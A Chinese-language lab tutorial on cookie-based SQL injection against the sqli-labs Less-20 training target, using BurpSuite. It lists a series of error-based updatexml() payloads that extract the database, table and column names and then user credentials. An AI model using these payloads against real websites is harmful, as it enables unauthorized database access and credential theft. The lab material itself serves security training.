1 cookie注入概述
- 定义:cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie的方式提交。
- 一般的注入我们是使用get或者post方式提交:
- get方式提交就是直接在网址后面加上需要注入的语句;
- post则是通过表单方式,
- get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
2 实验简介
2.1 实验平台
- 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
- 真实机:为了方便发送Cookie,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《BurpSuite简介及安装》。
- 靶机与真实机桥接到同一局域网中。
2.2 实验目标
- 获取网站后台数据库账号及密码。
3 实验过程
3.1 前戏
- 真实机打开BurpSuite,进入Proxy工具,打开自带浏览器,访问靶机sqli-labs的Less20,打开页面如下。
- 在BurpSuite工具的intercept界面开启 intercept is on,刷新上一步的页面,让BurpSuite获取到请求,将请求右键发送到repeater工具,点击forward。
- 在浏览器页面输入账号Dumb,密码也输入Dumb进行登录。
- 在BurpSuite工具的intercept界面点击forward,浏览器页面将收到响应显示如下。
- 我们不点击Delete Your Cookie,直接再次发送该页面响应,根据以前学习cookie的相关知识,此时页面是有cookie状态的。在BurpSuite工具的intercept界面右键该响应,将其发送到repeater工具。
- 在BurpSuite的Repeater工具中,我们可以看到刚刚发送过来的两个请求。分别右键两个请求,将其发送到comparer,进行比较。
- 点击comparer界面,点击箭头所示的words逐个单词进行比较。
- 比较结果如下,黄底的是不一致的。可以看到第二条信息相比于第一条主要是新增了cookie信息。
3.2 判断注入点及注入类型
- 正常流程应该是先判断能否在常规位置进行注入,实在没有的情况下再找cookie能否注入,本节实验省去了测试其他位置能否注入的过程,仅为演示如何进行cookie注入。
- 回到repeater界面,对第二个请求进行编辑,在Dumb后新增一个英文格式的单引号,点击send发送请求,可以看到收到响应,下拉响应在最后看到报错提示,报错有回显,可以使用报错注入。
- 尝试将请求cookie修改为
Dumb' and '1'='1
,可以看到现在响应是正常的,反证法可知该处是字符型注入且是单引号闭合。反证法详细分析请看《反证法:判断注入类型是数值型还是字符型》。
- 由上面3.2节内容可知该处注入时可以利用报错回显获取目标数据,且注入语句为单引号闭合的字符型,也就是说可以使用报错注入。union注入方法也可以,参考前几节内容,本节试试报错注入。
3.3 获取库名表名字段名
- 获取库名。修改cookie参数为
Dumb' and updatexml(1,concat('~',database(),'~'),1)#
,最后一个#是为了注释掉后续的单引号,让updatexml()函数执行并报错。可以看到updatexml()函数执行时报错,同时将数据库信息爆了出来,名为security。
- 获取表数量。考虑到updatexml()函数回显字符长度有限,先获取表格数量,再逐个获取表名。修改cookie参数为
Dumb' and updatexml(1,concat('~',(select count(table_name) from information_schema.tables where table_schema = database()),'~'),1)#
,响应中错误提示如下,可知共有4个表格。
- 获取第一个表名。修改cookie参数为
Dumb' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~'),1)#
,响应中错误提示如下,第一个表名为emails,不是我们想要的,继续获取表名。
- 获取第二个表名。修改cookie参数为
Dumb' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 1,1),'~'),1)#
,响应中错误提示如下,可知第二个表名为referers,不是我们想要的,继续获取表名。
- 获取第三个表名。修改cookie参数为
Dumb' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 2,1),'~'),1)#
,响应中错误提示如下,可知第三个表名为uagents,不是我们想要的,继续获取表名。
- 获取第四个表名。修改cookie参数为
Dumb' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 3,1),'~'),1)#
,响应中错误提示如下,可知第四个表名为users,存储用户信息,是我们想要的。
- 获取字段名。赌一把回显长度不超过updatexml()回显范围,修改cookie参数为
Dumb' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name = 'users'),'~'),1)#
,响应中错误提示如下,可知该表有三个字段,分别为id、username、password。
- 获取用户数量。考虑到updatexml()函数回显字符长度有限,先获取用户数量,再逐个获取用户名与密码。修改cookie参数为
Dumb' and updatexml(1,concat('~',(select count(username) from users),'~'),1)#
,响应中错误提示如下,可知共有13个用户。
- 获取第一个用户账号及密码。修改cookie参数为
Dumb' and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1)#
,响应中错误提示如下,可知第一个账号密码均为Dumb,剩余账号密码只需修改limit参数便可逐个取出。
3.4 实验结果
- 有3.3可逐步得到网站后台各账号及密码,实验成功。
- 如果不使用BurpSuite,也可以使用网页控制台来完成该注入过程,具体另行百度。
4 总结
- 了解get、post注入与cookie注入的区别。
- 掌握cookie注入的方法。